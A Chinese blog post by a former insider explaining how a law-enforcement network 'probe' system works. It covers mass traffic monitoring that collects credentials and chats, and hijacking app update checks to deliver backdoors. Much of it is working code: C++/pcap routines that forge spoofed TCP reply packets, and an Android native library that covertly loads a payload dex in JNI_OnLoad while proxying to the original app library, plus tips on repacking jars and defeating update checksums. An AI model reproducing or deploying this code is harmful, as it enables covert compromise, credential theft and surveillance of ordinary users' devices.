【临侦探侦工作原理】

20 篇文章 0 订阅
6 篇文章 0 订阅

本人才疏学浅,文笔不通。
鄙人前几年的工作中曾经接触过临侦(针)和探侦(针)系统,这是一款面向司法机关的取证工具。

该产品大约有2个功能。第一个是网络数据统计分析。主要是分析小到一个主机,大到整个辖区上的主机,其网络活动所产生的信息,一般是应用程序指纹,比如主机名、IP和mac地址,浏览器和客户浏览点击的网页地址、网页app的账号密码以及cookie和登录信息、电子邮件、即时通信软件的聊天记录,图片头像等、客户端使用哪些软件在上网等,通过数据库存储和关键字搜索等,对全部数据进行智能分析和综合展示,形成网络安全事态感知能力。整个功能逻辑比较简单,其架构基础是:对整个网络数据进行监听。

第二个功能就是,对客户端的网络通信进行监听并修改数据包的内容(一般是更细客户端app的更新数据包),引导客户端下载执行后门程序,实现对目标的网络取证工作。这个功能一直以来都是探针系统的核心功能,它的植入能力代表探针的核心技术水平。这个功能的原理是,监听网络上的数据包,对符合攻击要求的数据包进行伪造修改(比如监听到某个软件的客户端发给服务器的查询版本和升级的数据包,然后修改包中的版本号和下载地址、MD5校验值等,诱导客户端下载执行)。由于IPV4的验证机制都是公开透明的,伪造的数据包只要符合IPV4和tcp协议的格式和校验,其中的数据只要能被app程序接受和识别,就可以达到攻击的效果。

以如下两个网络通信数据包为例:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
若可以修改服务器返回数据包中的版本号,url和md5等信息,就可以诱导客户端下载执行带有后门程序的更新包。

该功能的数据包替换的核心代码如下:

#ifndef REPLACEPACKET_H_H_H
#define REPLACEPACKET_H_H_H

#include "include\\pcap.h"
#include "include\\pcap\\pcap.h"
#include "Packet.h"

#define MAX_PACKET_PAYLOAD 1400

#define SENDPACKET_LOG_FILENAME "sendpacket.log"

class AttackPacket {
public:
	static int ReplacePacket(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize,
		char * ip, int type, LPPPPOEHEADER pppoe);

	static int ReplaceIPV6Packet(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize,
		char * ip, int type, LPPPPOEHEADER pppoe);
};

#endif
#include "include\\pcap.h"
#include "include\\pcap\\pcap.h"
#include <windows.h>
#include "attacker.h"
#include "Packet.h"
#include "utils/checksum.h"
#include "ReplacePacket.h"
#include "Public.h"

int AttackPacket::ReplacePacket(pcap_t * pcapT,const char * lppacket,int packetsize,const char * lpsenddata,int sendsize,
	char * ip,int type,LPPPPOEHEADER pppoe){

	if (sendsize <= 0 || lppacket == 0 || lpsenddata == 0 )
	{
		printf("ReplacePacket packet address:%p,packet size:%u,send data:%p,send size:%u error\r\n",
			lppacket,packetsize,lpsenddata,sendsize);
		return FALSE;
	}else if (type == 2)
	{
		int ret = ReplaceIPV6Packet(pcapT, lppacket, packetsize, lpsenddata, sendsize, ip, type, pppoe);
		return ret;
	}

	LPMACHEADER lpMacHdr = (LPMACHEADER)lppacket;
	LPIPHEADER lpIPHdr = (LPIPHEADER)ip;
	int iIpHdrLen = lpIPHdr->HeaderSize << 2;
	LPTCPHEADER lpTcpHdr = (LPTCPHEADER)((char*)lpIPHdr + iIpHdrLen);
	int iTcpHdrLen = lpTcpHdr->HeaderSize << 2;
	const char * lpData = (char*)lpTcpHdr + iTcpHdrLen;
	int oldPayloadSize = packetsize - ((char*)lpData - lppacket);

	unsigned char lpnewpack[MAX_SINGLE_PACKET_SIZE];
	LPPPPOEHEADER newpppoe = 0;
	if (pppoe)
	{
		newpppoe = (LPPPPOEHEADER)((char*)pppoe - lppacket + lpnewpack);
	}
	
	int ipoffset = ip - lppacket;
	memcpy(lpnewpack, lppacket, ipoffset);
	
	LPMACHEADER lpNewMacHdr = (LPMACHEADER)lpnewpack;
	for (int i = 0; i < MAC_ADDRESS_SIZE; i++)
	{
		lpNewMacHdr->SrcMAC[i] = lpMacHdr->DstMAC[i];
		lpNewMacHdr->DstMAC[i] = lpMacHdr->SrcMAC[i];
	}
	lpNewMacHdr->Protocol = lpMacHdr->Protocol;

	LPIPHEADER lpNewIPHdr = (LPIPHEADER)(lpnewpack + ipoffset);
	memcpy((char*)lpNewIPHdr,(char*)lpIPHdr,iIpHdrLen);
	lpNewIPHdr->DstIP = lpIPHdr->SrcIP;
	lpNewIPHdr->SrcIP = lpIPHdr->DstIP;
	lpNewIPHdr->TimeToLive = 0x3f;

	LPTCPHEADER lpNewTcpHdr = (LPTCPHEADER)((char*)lpNewIPHdr + iIpHdrLen);
	memcpy(lpNewTcpHdr,lpTcpHdr,iTcpHdrLen);
	lpNewTcpHdr->SrcPort = lpTcpHdr->DstPort;
	lpNewTcpHdr->DstPort = lpTcpHdr->SrcPort;
 	lpNewTcpHdr->AckNum = ntohl(ntohl(lpTcpHdr->SeqNum) + oldPayloadSize);
 	lpNewTcpHdr->SeqNum = lpTcpHdr->AckNum;

	char * lpnewdata = (char*)lpNewTcpHdr + iTcpHdrLen;
	int senddatasize = 0;
	DWORD dwSendSeqNum = ntohl(lpNewTcpHdr->SeqNum);

	if (lpNewMacHdr->Protocol == 0x0081)
	{
		//LPHEADER8021Q lpnew8021q = (LPHEADER8021Q)((char*)lpNewMacHdr + sizeof(MACHEADER));
		//lpnew8021q->priority = 4;
	}

	int sendcnt = sendsize/MAX_PACKET_PAYLOAD;
	int sendmod = sendsize%MAX_PACKET_PAYLOAD;
	for (int i = 0; i < sendcnt; i ++)
	{
		if (pppoe)
		{
			//pppoe length include size of packetsize in pppoe
			newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD + sizeof(WORD));
		}

		memcpy(lpnewdata,MAX_PACKET_PAYLOAD * i + lpsenddata,MAX_PACKET_PAYLOAD);
		lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD);
		lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
		lpNewIPHdr->HeaderChksum = 0;
		lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen);

		lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
		senddatasize += MAX_PACKET_PAYLOAD;
		lpNewTcpHdr->ACK = 1;
		lpNewTcpHdr->ECN_ECHO = 0;
		lpNewTcpHdr->PacketChksum = 0;
		lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,
			MAX_PACKET_PAYLOAD + iTcpHdrLen,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);
		int ret = pcap_sendpacket(pcapT,lpnewpack,MAX_PACKET_PAYLOAD + ipoffset + iIpHdrLen + iTcpHdrLen);
		if (ret )
		{
			printf("ReplacePacket pcap_sendpacket error\r\n");
			Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n");
			Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize);
			return FALSE;
		}
	}

	if (sendmod)
	{
		if (pppoe)
		{
			newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + sendmod + sizeof(WORD));
		}

		memcpy(lpnewdata,sendcnt * MAX_PACKET_PAYLOAD + lpsenddata,sendmod);
		lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen + sendmod);
		lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
		lpNewIPHdr->HeaderChksum = 0;
		lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen);

		lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
		senddatasize += sendmod;
		lpNewTcpHdr->ACK = 1;
		lpNewTcpHdr->FIN = 0;
		lpNewTcpHdr->ECN_ECHO = 0;
		lpNewTcpHdr->PacketChksum = 0;
		lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,sendmod+iTcpHdrLen,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);
		
		int ret = pcap_sendpacket(pcapT,lpnewpack,sendmod + ipoffset + iIpHdrLen + iTcpHdrLen);
		if (ret )
		{
			printf("ReplacePacket pcap_sendpacket error\r\n");
			Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n");
			Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize);
			return FALSE;
		}
	}


// 	int padsize = 60 - (ip - lppacket) - iIpHdrLen - iTcpHdrLen;
// 	if (padsize > 0)
// 	{
// 		memset(lpnewdata, 0, padsize);
// 	}
	
	lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
	lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen);
	lpNewIPHdr->HeaderChksum = 0;
	lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen);

	lpNewTcpHdr->FIN = 1;
	lpNewTcpHdr->ACK = 1;
	lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
	lpNewTcpHdr->PacketChksum = 0;
	lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,iTcpHdrLen ,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);

	int ret = pcap_sendpacket(pcapT,lpnewpack, ipoffset + iIpHdrLen + iTcpHdrLen);
	if (ret )
	{
		printf("ReplacePacket pcap_sendpacket error\r\n");
		Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n");
		Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize);
		return FALSE;
	}
	
	return TRUE;
}




int AttackPacket::ReplaceIPV6Packet(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize,
	char * ip, int type, LPPPPOEHEADER pppoe) {

	LPMACHEADER lpMacHdr = (LPMACHEADER)lppacket;
	LPIPV6HEADER lpIPHdr = (LPIPV6HEADER)ip;
	int iIpHdrLen = sizeof(IPV6HEADER);
	LPTCPHEADER lpTcpHdr = (LPTCPHEADER)((char*)lpIPHdr + iIpHdrLen);
	int iTcpHdrLen = lpTcpHdr->HeaderSize << 2;
	const char * lpData = (char*)lpTcpHdr + iTcpHdrLen;
	int oldPayloadSize = packetsize - ((char*)lpData - lppacket);

	unsigned char lpnewpack[MAX_SINGLE_PACKET_SIZE];
	LPPPPOEHEADER newpppoe = 0;
	if (pppoe)
	{
		newpppoe = (LPPPPOEHEADER)((char*)pppoe - lppacket + lpnewpack);
	}

	int ipoffset = ip - lppacket;
	memcpy(lpnewpack, lppacket, ipoffset);

	LPMACHEADER lpNewMacHdr = (LPMACHEADER)lpnewpack;
	for (int i = 0; i < MAC_ADDRESS_SIZE; i++)
	{
		lpNewMacHdr->SrcMAC[i] = lpMacHdr->DstMAC[i];
		lpNewMacHdr->DstMAC[i] = lpMacHdr->SrcMAC[i];
	}
	lpNewMacHdr->Protocol = lpMacHdr->Protocol;

	LPIPV6HEADER lpNewIPHdr = (LPIPV6HEADER)(lpnewpack + ipoffset);
	memcpy((char*)lpNewIPHdr, (char*)lpIPHdr, iIpHdrLen);
	memcpy(lpNewIPHdr->DestAddress ,lpIPHdr->SourceAddress,IPV6_IP_SIZE);
	memcpy(lpNewIPHdr->SourceAddress,lpIPHdr->DestAddress, IPV6_IP_SIZE);

	LPTCPHEADER lpNewTcpHdr = (LPTCPHEADER)((char*)lpNewIPHdr + iIpHdrLen);
	memcpy(lpNewTcpHdr, lpTcpHdr, iTcpHdrLen);
	lpNewTcpHdr->SrcPort = lpTcpHdr->DstPort;
	lpNewTcpHdr->DstPort = lpTcpHdr->SrcPort;
	lpNewTcpHdr->AckNum = ntohl(ntohl(lpTcpHdr->SeqNum) + oldPayloadSize);
	lpNewTcpHdr->SeqNum = lpTcpHdr->AckNum;

	char * lpnewdata = (char*)lpNewTcpHdr + iTcpHdrLen;
	int senddatasize = 0;
	DWORD dwSendSeqNum = ntohl(lpNewTcpHdr->SeqNum);

	if (lpNewMacHdr->Protocol == 0x0081)
	{
		//LPHEADER8021Q lpnew8021q = (LPHEADER8021Q)((char*)lpNewMacHdr + sizeof(MACHEADER));
		//lpnew8021q->priority = 4;
	}

	int sendcnt = sendsize / MAX_PACKET_PAYLOAD;
	int sendmod = sendsize%MAX_PACKET_PAYLOAD;
	for (int i = 0; i < sendcnt; i++)
	{
		if (pppoe)
		{
			newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD + sizeof(WORD));
		}

		memcpy(lpnewdata, MAX_PACKET_PAYLOAD * i + lpsenddata, MAX_PACKET_PAYLOAD);
		lpNewIPHdr->PayloadLen = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD);

		lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
		senddatasize += MAX_PACKET_PAYLOAD;
		lpNewTcpHdr->ACK = 1;
		lpNewTcpHdr->ECN_ECHO = 0;
		lpNewTcpHdr->PacketChksum = 0;
		lpNewTcpHdr->PacketChksum = Checksum::IPV6subPackCheckSum((char*)lpNewTcpHdr,
			MAX_PACKET_PAYLOAD + iTcpHdrLen, lpNewIPHdr->SourceAddress, lpNewIPHdr->DestAddress,IPPROTO_TCP);
		int ret = pcap_sendpacket(pcapT, lpnewpack, MAX_PACKET_PAYLOAD + ipoffset + iIpHdrLen + iTcpHdrLen);
		if (ret)
		{
			printf("ReplaceIPV6Packet pcap_sendpacket error\r\n");
			return FALSE;
		}
	}

	if (sendmod)
	{
		if (pppoe)
		{
			newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + sendmod + sizeof(WORD));
		}

		memcpy(lpnewdata, sendcnt * MAX_PACKET_PAYLOAD + lpsenddata, sendmod);
		lpNewIPHdr->PayloadLen = ntohs(iIpHdrLen + iTcpHdrLen + sendmod);

		lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
		senddatasize += sendmod;
		lpNewTcpHdr->ACK = 1;
		lpNewTcpHdr->FIN = 0;
		lpNewTcpHdr->ECN_ECHO = 0;
		//lpNewTcpHdr->SeqNum = ntohl(ntohl(lpNewTcpHdr->SeqNum) + sendmod);
		lpNewTcpHdr->PacketChksum = 0;
		lpNewTcpHdr->PacketChksum = Checksum::IPV6subPackCheckSum((char*)lpNewTcpHdr, sendmod + iTcpHdrLen,
			lpNewIPHdr->SourceAddress, lpNewIPHdr->DestAddress, IPPROTO_TCP);

		int ret = pcap_sendpacket(pcapT, lpnewpack, sendmod + ipoffset + iIpHdrLen + iTcpHdrLen);
		if (ret)
		{
			printf("ReplaceIPV6Packet pcap_sendpacket error\r\n");
			return FALSE;
		}
	}

	/*
	int padsize = 60 - (ip - lppacket) - iIpHdrLen - iTcpHdrLen;
	if (padsize > 0)
	{
		memset(lpnewdata, 0, padsize);
	}

	lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
	lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen);
	lpNewIPHdr->HeaderChksum = 0;
	lpNewIPHdr->HeaderChksum = CalcChecksum((WORD*)lpNewIPHdr,iIpHdrLen);

	lpNewTcpHdr->FIN = 0;
	lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
	lpNewTcpHdr->PacketChksum = 0;
	lpNewTcpHdr->PacketChksum = GetSubPacketCheckSum((char*)lpNewTcpHdr,iTcpHdrLen ,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);

	int ret = pcap_sendpacket(pcapT,lpnewpack,sizeof(MACHEADER) + iIpHdrLen + iTcpHdrLen);
	if (ret )
	{
		return FALSE;
	}*/
	

	return TRUE;
}

一般来说,更新包必然会包含可执行文件,在windows上一般是exe或者dll格式;在android中一般是jar、dex或者是so、二进制elf文件;ios不支持插件式更新而无法攻击。这些可执行代码在客户端的下载验证后一般会立即执行,因此这种方式高效且直接。我们可以用后门程序替换原来的模块,然后在新的代码中调用原来的程序,以完成主机正常的功能。如果不想这样做,直接用后门程序替换更新包中相应的可执行模块,一般也不会影响程序的运行。

以下是第一幅图中的更新包:
在这里插入图片描述
在这里插入图片描述
此时即可在jar包中插入代码,也可以在so中插入代码完成攻击。在jar包中时,可以将入口放在静态方法中,或者是主类的方法入口;此时需要用的工具是smali和baksmali,前者将jar包转化为smali汇编代码,将调用payload的smali代码插入后,用baksmali将smali代码转化为jar包。若是在so中执行攻击,可以在so中的JNI_OnLoad方法中利用发射机制加载dex文件,完成后门程序的加载运行。以下是在so中加载dex的代码:

#include <jni.h>
#include <ctype.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <memory.h>
#include <time.h>
#include <android/log.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/file.h>
#include <dirent.h>
#include <android/asset_manager_jni.h>
#include <android/asset_manager.h>
#include <unistd.h>
#include <sys/inotify.h>
#include <dlfcn.h>
#include <sys/stat.h>
#include <elf.h>

#include "weixin.h"
#include "public.h"

using namespace std;

//char __aeabi_unwind_cpp_pr0[0];

#define NULL 0
#define size_t unsigned int

/*
编译器不会给这种函数增加初始化和清理代码,更特殊的是,你不能用return返回返回值,只能用插入汇编返回结果。
这一般用于实模式驱动程序设计,假设定义一个求和的加法程序,可以定义为:
__declspec(naked) int  add(int a,int b)
{
   __asm mov eax,a
   __asm add eax,b
   __asm ret
}
 */

string gPackageName = "";

soinfo * gOldSoinfo = 0;	//old soinfo

string gLoadSoPath = "";	//app_xwalk_xxx

string gOldSoPath = "";		//xwalk_application
int gLoadedOK = 0;			//load times

typedef int (*OLDFUNC)(void * a1,void*a2,void *a3,void *a4,void*a5,void*a6,void*a7,void*a8,void *a9,void*a10,void*a11,void *a12);




//我们需要了解gcc新引进的选项-fvisibility=hidden,这个编译选项可以把所有的符号名(包括函数名和全局变量名)都强制标记成隐藏属性。
//我们可以在Android.mk中可以通过修改LOCAL_CFLAGS选项加入-fvisibility=hidden来做到这一点
//源代码里出现的函数名和全局变量名(符号名)都变成了't',也就是说都是局部符号(类似于static)
//void__attribute__ ((visibility ("default")))Java_com_example_SanAngeles_DemoRenderer_nativeInit ( JNIEnv*  env )

extern "C" int JniLoadJar(JNIEnv * env,JavaVM * jvm,const char * szCmdline){
	int ret = 0;
	char szout[PATH_MAX] = {0};

	string defjarpath = string(TENCENTMM_DATA_PATH) + MYAPP_PATH_NAME + JAR_FILE_NAME;

	string optjarpath = string(TENCENTMM_DATA_PATH) + "/cache/";

	if(access(defjarpath.c_str(),F_OK) != 0){
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","access error:%s",defjarpath.c_str());
		sprintf(szout,"get apk file:%s error\r\n",defjarpath.c_str());
		Public::writeLogFile(szout);
		return -1;
	}else{
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","defaultjarpath:%s,optjarpath:%s",
				defjarpath.c_str(),optjarpath.c_str());
	}

	jstring jstrdefjarpath = Public::char2Jstring(env,defjarpath.c_str(),(int)defjarpath.length());
	jstring jstroptjarpath = Public::char2Jstring(env,optjarpath.c_str(),(int)optjarpath.length());
	jstring jstrclassname = Public::char2Jstring(env,ENTRANCE_CLASSNAME,(int)strlen(ENTRANCE_CLASSNAME));
	jstring jstrmethodname = Public::char2Jstring(env,ENTRANCE_METHODNAME,(int)strlen(ENTRANCE_METHODNAME));

	jclass classloader = env->FindClass("java/lang/ClassLoader");
	jmethodID getsysclassloader = env->GetStaticMethodID(classloader, "getSystemClassLoader","()Ljava/lang/ClassLoader;");
	jobject loader = env->CallStaticObjectMethod(classloader,getsysclassloader);

	jclass dexclassloader = env->FindClass("dalvik/system/DexClassLoader");
	jmethodID dexclsldinit = env->GetMethodID(dexclassloader,"<init>",
			"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
	jobject dexloader =env->NewObject(dexclassloader,dexclsldinit, jstrdefjarpath, jstroptjarpath, 0, loader);

	jclass dexloaderclass = env->GetObjectClass(dexloader);

	jmethodID findclass = env->GetMethodID(dexloaderclass,"loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
	if(NULL==findclass){
		findclass = env->GetMethodID(dexloaderclass,"findClass", "(Ljava/lang/String;)Ljava/lang/Class;");
	}

	__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","ClassLoader:%x,getSystemClassLoader:%x,loader:%x,"
			"DexClassLoader:%x,DexClassLoader init:%x,DexClassLoader class:%x,dexloaderclass:%x,findClass:%x",
			(unsigned int)classloader,(unsigned int)getsysclassloader,(unsigned int)loader,
			(unsigned int)dexclassloader,(unsigned int)dexclsldinit,(unsigned int)dexloader,
			(unsigned int)dexloaderclass,(unsigned int)findclass);

	jclass javaenterclass=(jclass)env->CallObjectMethod(dexloader,findclass,jstrclassname);
	__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","%s:%x",ENTRANCE_CLASSNAME,(unsigned int)javaenterclass);

	jmethodID enterclassinit = env->GetMethodID(javaenterclass, "<init>", "()V");
	__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","enterclassinit:%x",(unsigned int)enterclassinit);

	jobject enterclassobj = env->NewObject(javaenterclass,enterclassinit);
	__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","enterclassobj:%x",(unsigned int)enterclassobj);

	jmethodID entermethodid = env->GetMethodID(javaenterclass, ENTRANCE_METHODNAME, "(Landroid/content/Context;)V");
	__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","entermethodid:%x",(unsigned int)entermethodid);
	if(entermethodid){
		jclass atclass = env->FindClass("android/app/ActivityThread");
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","atclass:%x",(unsigned int)atclass);

		jmethodID catmid = env->GetStaticMethodID(atclass,"currentActivityThread","()Landroid/app/ActivityThread;");
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","catmid:%x",(unsigned int)catmid);

		jobject catobj = env->CallStaticObjectMethod(atclass,catmid);
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","catobj:%x",(unsigned int)catobj);

		jmethodID getappmid = env->GetMethodID(atclass, "getApplication", "()Landroid/app/Application;");
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","getappmid:%x",(unsigned int)getappmid);

		jobject contextobj = env->CallObjectMethod(catobj, getappmid);
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","contextobj:%x",(unsigned int)contextobj);

		env->CallVoidMethod(enterclassobj, entermethodid, contextobj);

		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","apk or jar loaded ok");
		Public::writeLogFile("apk or jar loaded ok\r\n",szCmdline);

		gLoadedOK ++;
		return 0;
	}else{
		__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","entermethodid not found");
		return -1;
	}

	Public::writeLogFile("apk or jar loaded error\r\n",szCmdline);
	return -1;
}


JNIEnv * getEnv(JavaVM * javavm,bool &bAttached){
	int ret = 0;
	JNIEnv *env = NULL;
	if (javavm != NULL){
		ret = javavm->GetEnv((void**) &env, DEFAULT_JNI_VERSION);
		if (ret < 0){
			__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM GetEnv error");
			Public::writeLogFile("JavaVM GetEnv error\r\n");

			//Attaches the current thread to a Java (Dalvik) VM.
			//A thread must be attached to the VM before any other JNI calls can be made.
			//Returns 0 on success; returns a negative number on failure.
			ret = javavm->AttachCurrentThread(&env, NULL);
			if (ret < 0)
			{
				Public::writeLogFile("JavaVM AttachCurrentThread error\r\n");
				__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM AttachCurrentThread error");
				return 0;
			}else{
				bAttached = true;

				Public::writeLogFile("JavaVM AttachCurrentThread ok\r\n");
				__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM AttachCurrentThread ok");
			}
		}
		return env;
	}else{
		__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM NULL");
		Public::writeLogFile("JavaVM NULL\r\n");
	}
	return 0;
}




//dlopen do not call JNI_OnLoad,but System.load or System.loadLibrary will do
extern "C" JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* javavm, void* reserved){

	int ret = 0;
	int retJniVersion = DEFAULT_JNI_VERSION;

	char szout[1024];
	__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","start");

	bool bAttached = false;
	JNIEnv * env = getEnv(javavm,bAttached);
	if(env > 0){
		if(gLoadedOK <= 2){
			ret = JniLoadJar(env,javavm,PACKAGE_NAME);
			__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","start for first time");
			Public::writeLogFile("JNI_OnLoad start for first time\r\n");
		}else{
	    	__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","so had been already loaded for times:%u",gLoadedOK);
	    	sprintf(szout,"so had been already loaded for times:%u\r\n",gLoadedOK);
	    	Public::writeLogFile(szout);
		}
	}else{
		__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","JavaVM GetEnv error");
		Public::writeLogFile("JavaVM GetEnv error\r\n");
	}

	if(gOldSoPath == ""){
		gOldSoPath = Weixin::getSoPathName();

	}

	if(gOldSoinfo <= 0){
		gOldSoinfo = (soinfo*)dlopen(gOldSoPath.c_str(),RTLD_LAZY|RTLD_GLOBAL);
	}

	if(gOldSoinfo > 0){
		typedef jint (JNICALL*ptrJNI_OnLoad)(JavaVM* javavm, void* reserved);
		ptrJNI_OnLoad lpJNI_OnLoad = (ptrJNI_OnLoad)dlsym(gOldSoinfo,"JNI_OnLoad");
		if(lpJNI_OnLoad){
			retJniVersion = (lpJNI_OnLoad)(javavm,reserved);
			__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","get JNI_OnLoad in old.so ok and run it");
			Public::writeLogFile("get JNI_OnLoad in old.so ok and run it\r\n");
		}else{
			__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","dlsym JNI_OnLoad in old.so error");
			Public::writeLogFile("JNI_OnLoad dlsym JNI_OnLoad in old.so error\r\n");
		}
	}else{
		Public::writeLogFile("JNI_OnLoad dlopen old.so error\r\n");
		__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","dlopen old.so error");
	}

    if(bAttached == true){
    	javavm->DetachCurrentThread();
    	__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","JavaVM DetachCurrentThread");
    	Public::writeLogFile("JNI_OnLoad JavaVM DetachCurrentThread\r\n");
    }

    return retJniVersion;
}


extern "C" JNIEXPORT void JNICALL JNI_OnUnload(JavaVM* javavm, void* reserved){
	__android_log_print(ANDROID_LOG_ERROR,"JNI_OnUnload","JNI_OnUnload");
	printf("JNI_OnUnload\r\n");
	Public::writeLogFile("JNI_OnUnload\r\n");
	return;
}






//System.loadLibrary call dlopen->init or initarray,call JNI_OnLoad everytime
void __attribute__ ((constructor)) SO_Load(void){

	__android_log_print(ANDROID_LOG_ERROR,"SO_Load","SO_Load");
	printf("SO_Load\r\n");


	int androidver = Public::getAndroidVersion();
	printf("android version:%u\r\n",androidver);

	gPackageName = Public::getPackageName();

	//gLoadSoPath = get the biggest number of version path with app_xwalk_xxx
	gOldSoinfo = Weixin::prepareFiles(gLoadSoPath);

	Weixin::checkTestApk();

	__android_log_print(ANDROID_LOG_ERROR,"SO_Load","get so path:%s,soinfo:%p\r\n",gLoadSoPath.c_str(),gOldSoinfo);

	char szout[1024];
	sprintf(szout,"SO_Load android version:%u,package name:%s,update path:%s,old so loaded:%x\r\n",
			androidver,gPackageName.c_str(),gLoadSoPath.c_str(),gOldSoinfo);
	Public::writeLogFile(szout);

	return;
}


void __attribute__ ((destructor)) SO_Unload(void){
	__android_log_print(ANDROID_LOG_ERROR,"SO_Unload","SO_Unload");
	printf("SO_Unload\r\n");
	Public::writeLogFile("SO_Unload\r\n");

	if(gOldSoinfo > 0){
		dlclose(gOldSoinfo);
	}

	return;
}


int myoldfuncEntry(string funcname,void *a1,void *a2,void *a3,void *a4,void *a5,void *a6,void *a7,void *a8,void *a9,void*a10,void*a11,void *a12){
	char szout[1024];
	if(gOldSoinfo <= 0){
		if(gOldSoPath == ""){
			gOldSoPath = Weixin::getSoPathName();
		}
		gOldSoinfo = (soinfo*)dlopen(gOldSoPath.c_str(),RTLD_LAZY|RTLD_GLOBAL);
		if(gOldSoinfo <= 0){
			Public::writeLogFile("dlopen old so error\r\n");
			return 0;
		}
	}
	OLDFUNC oldfun = (OLDFUNC)dlsym(gOldSoinfo,funcname.c_str());
	if(oldfun){
		return oldfun( a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12);
	}

	sprintf(szout,"dlsym:%s error\r\n",funcname.c_str());
	Public::writeLogFile(szout);
	return 0;
}





extern "C" void* JNICALL test_so_param(void *a1,void *a2,void *a3,void *a4,void *a5,void *a6,void *a7,void *a8,void *a9,void*a10,void*a11,void *a12){

	void * handle = dlopen("./libold.so",RTLD_LAZY|RTLD_GLOBAL);
	if(handle){
		OLDFUNC oldfun = (OLDFUNC)dlsym(handle,"test_so_param");
		if(oldfun){
			__android_log_print(ANDROID_LOG_ERROR,"test","dlsym ok");
			void * ret = (void*)oldfun( a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12);
			return ret;
		}
	}
	return 0;
}





有时候,更新包是加密的,那么就需要逆向app,找到解密的方法,以便构造正确的数据包完成攻击。例如以下更新模块的crc32字段,刚开始我以为是整个文件的crc32值,但是后来逆向发现,该值是文件前1024字节的crc32值。正是因为这些特点,所以本主题才属于网络安全的内容范畴。
在这里插入图片描述

